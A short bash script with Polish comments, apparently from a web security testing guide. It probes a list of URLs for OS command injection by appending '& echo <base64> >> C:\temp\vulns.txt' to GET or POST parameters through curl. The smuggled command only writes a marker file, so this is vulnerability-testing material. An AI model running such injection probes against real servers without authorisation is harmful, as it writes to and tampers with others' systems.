﻿#!/bin/bash
        
CURL=/usr/bin/curl
        
# Tymczasowy plik wyjściowy na docelowym serwerze WWW — należy zadbać o to, aby 
# aplikacja internetowa miała uprawnienia zapisu w tej lokalizacji.
OUTPUTFILE='C:\temp\vulns.txt'
# OUTPUTFILE=/tmp/vulns.txt
        
# Plik z adresami URL do zaatakowania — po jednym w wierszu.
#   Dla żądań GET wiersz powinien przyjąć postać http://<host>:<port>/<ścieżka>?<parametr>=
#   Dla żądań POST powinien mieć format http://<host>:<port>/<ścieżka><parametr>
URLFILE=urls.txt
        
# Separatorem poleceń w systemie Windows jest znak & (%26).
# Separatorem poleceń w systemie Unix jest znak ; (%3B).
COMMAND_SEPARATOR=%26
# COMMAND_SEPARATOR=%3B
        
while read LINE
do
# Pobranie zmiennych URL i PARAMETER dla żądań POST
        URL=${LINE% *}
        PARAMETER=${LINE#* }
        
        # Zakodowanie zawartości zmiennej LINE w Base64, tak by można było ją bezpiecznie wstrzyknąć.
        # To pomoże nam w znalezieniu wrażliwego adresu URL.
        LINE_ENCODED=`echo ${LINE} | perl -MMIME::Base64 -lne 'print encode_base64($_)'`
        
        INJECTION_STRING="%20${COMMAND_SEPARATOR}%20echo%20${LINE_ENCODED}%20%3E%3E%20"
        INJECTION_STRING="${INJECTION_STRING}${OUTPUTFILE}%20${COMMAND_SEPARATOR}%20"
        
        if [ "${URL}" != "${LINE}" ]; then
            # Jeśli zmienna LINE odczytana z pliku URLFILE zawiera spację, to dotrzemy do tego miejsca.
            # Zgodnie z formatem pliku URLFILE wskazuje to na żądanie POST.
            curl -f -s -F "${PARAMETER}=${INJECTION_STRING}" ${URL} 
        else
            # Jeśli zmienna LINE odczytana z pliku URLFILE nie zawiera spacji, to dotrzemy do tego miejsca.
            # Zgodnie z formatem pliku URLFILE wskazuje to na żądanie GET.
            curl -f -s "${URL}${INJECTION_STRING}"
        fi
        
        RETCODE=$?
        
        # Sprawdzenie, czy nastąpiła awaria programu cURL lub serwera.
        if [ $RETCODE != 0 ]
        then
            echo "NIEPOWODZENIE: (curl ${RETCODE}) ${LINE}"
        else
            echo "SUKCES: (curl ${RETCODE}) ${LINE}"
        fi
done < ${URLFILE}
